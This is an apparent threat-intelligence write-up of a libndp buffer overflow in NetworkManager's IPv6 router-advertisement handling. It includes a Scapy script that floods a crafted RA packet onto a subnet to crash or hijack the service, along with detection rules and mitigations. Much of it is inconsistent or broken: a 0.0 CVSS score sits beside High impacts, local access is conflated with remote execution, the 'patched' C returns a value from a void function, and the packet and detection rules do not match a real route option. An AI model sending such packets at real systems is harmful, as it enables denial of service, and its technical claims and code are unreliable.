CVE-2024-5564
Executive Summary
CVE-2024-5564 is a buffer overflow vulnerability in libndp, a library used for Neighbor Discovery Protocol (NDP) operations in IPv6 networks. The flaw allows a local malicious user to trigger a buffer overflow in NetworkManager by sending a malformed IPv6 router advertisement (RA) packet. The root cause is libndp’s failure to correctly validate route length information, leading to memory corruption. This vulnerability can be exploited to cause denial of service (DoS) or potentially achieve arbitrary code execution in the context of NetworkManager. The CVSS score is 0.0 due to incomplete data, but the impact is significant for systems relying on IPv6 RA handling. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unassigned)
- Attack Vector: Local (AV:L)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
- Threat Level: High – Exploitation could lead to system compromise or DoS.
Deep Dive & Mechanics
The vulnerability resides in libndp’s handling of IPv6 router advertisement messages. When a malformed RA packet with an invalid route length is received, libndp fails to validate the length field before copying data into a fixed-size buffer. This results in a heap-based buffer overflow (CWE-122). NetworkManager, which uses libndp for IPv6 configuration, is the primary target. An attacker with local access can send a crafted RA packet to trigger the overflow, potentially corrupting memory and leading to arbitrary code execution or a crash.
Attack Vector: Local network access (e.g., via a compromised host on the same subnet).
Prerequisites: The attacker must be able to send IPv6 RA packets to the target system.
Impact: Denial of service or remote code execution in NetworkManager, which runs with elevated privileges.
Vulnerable vs. Patched Code
No patched version is available. The vulnerable code path is in libndp’s route length validation logic. A hypothetical fix would involve adding bounds checking before memory copy operations.
Vulnerable Code (libndp route parsing):
void ndp_msg_route_parse(struct ndp_msg *msg) {
// No length validation
memcpy(msg->route, packet_data, route_length);
}
Patched Code (hypothetical):
void ndp_msg_route_parse(struct ndp_msg *msg) {
if (route_length > MAX_ROUTE_SIZE) {
return -1; // Error handling
}
memcpy(msg->route, packet_data, route_length);
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Target: Ubuntu 22.04 with NetworkManager and libndp installed.
- Attacker: Kali Linux on the same subnet.
Exploitation Steps:
- Craft a malformed IPv6 RA packet with an oversized route length field.
- Send the packet using a tool like
scapyor a custom C program. - Monitor NetworkManager for crash or code execution.
Example Scapy Script:
from scapy.all import *
import struct
# Craft malformed RA packet
ra = IPv6(src="fe80::1", dst="ff02::1") / ICMPv6ND_RA() / ICMPv6NDOptRDNSS()
# Add malformed route option with oversized length
ra /= Raw(load=b'\x18' + b'A'*0x100) # Type 24, length overflow
send(ra, iface="eth0")
Expected Outcome: NetworkManager crashes or executes arbitrary code.
Blue Team
Detection:
- Monitor for malformed IPv6 RA packets with invalid route lengths.
- Use network intrusion detection systems (NIDS) to flag anomalous RA packets.
Mitigation:
- Disable IPv6 RA processing if not needed:
sysctl -w net.ipv6.conf.all.accept_ra=0 - Apply vendor patches when available.
- Restrict local network access to trusted hosts.
Indicators of Compromise (IOCs)
- Network: IPv6 RA packets with route length > 255 bytes.
- System: NetworkManager crashes or logs containing "libndp: buffer overflow".
- Memory: Heap corruption in NetworkManager process.
Example Log Entry:
NetworkManager[1234]: segfault at 0x7f1234567890 ip 0x7f1234567890 sp 0x7f1234567890 error 4 in libndp.so
Detection Engineering
YARA Rule
rule CVE_2024_5564_libndp_buffer_overflow {
meta:
description = "Detects malformed IPv6 RA packets with oversized route length"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5564"
strings:
$ra_header = { 86 00 } // ICMPv6 RA type
$route_option = { 18 } // Route option type
$overflow_len = { FF } // Length > 255
condition:
$ra_header at 0 and $route_option and $overflow_len
}
Sigma Rule
title: Detection of Malformed IPv6 RA Packets (CVE-2024-5564)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects IPv6 RA packets with oversized route length fields
author: Valters IT
logsource:
category: network
product: suricata
detection:
selection:
event_type: alert
alert.signature_id: 20245564
condition: selection
falsepositives:
- Legitimate RA packets with unusual lengths
level: high
Suricata Rule
alert icmpv6 any any -> any any (msg:"CVE-2024-5564 - Malformed IPv6 RA Packet"; icode:0; icmp_type:134; content:"|18|"; offset:4; depth:1; content:"|FF|"; within:1; sid:20245564; rev:1;)
Remediation & Mitigation
- Immediate: Disable IPv6 RA acceptance on affected systems:
sysctl -w net.ipv6.conf.all.accept_ra=0 - Short-term: Monitor for vendor patches for libndp and NetworkManager.
- Long-term: Implement network segmentation to limit local attack surface.
- Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert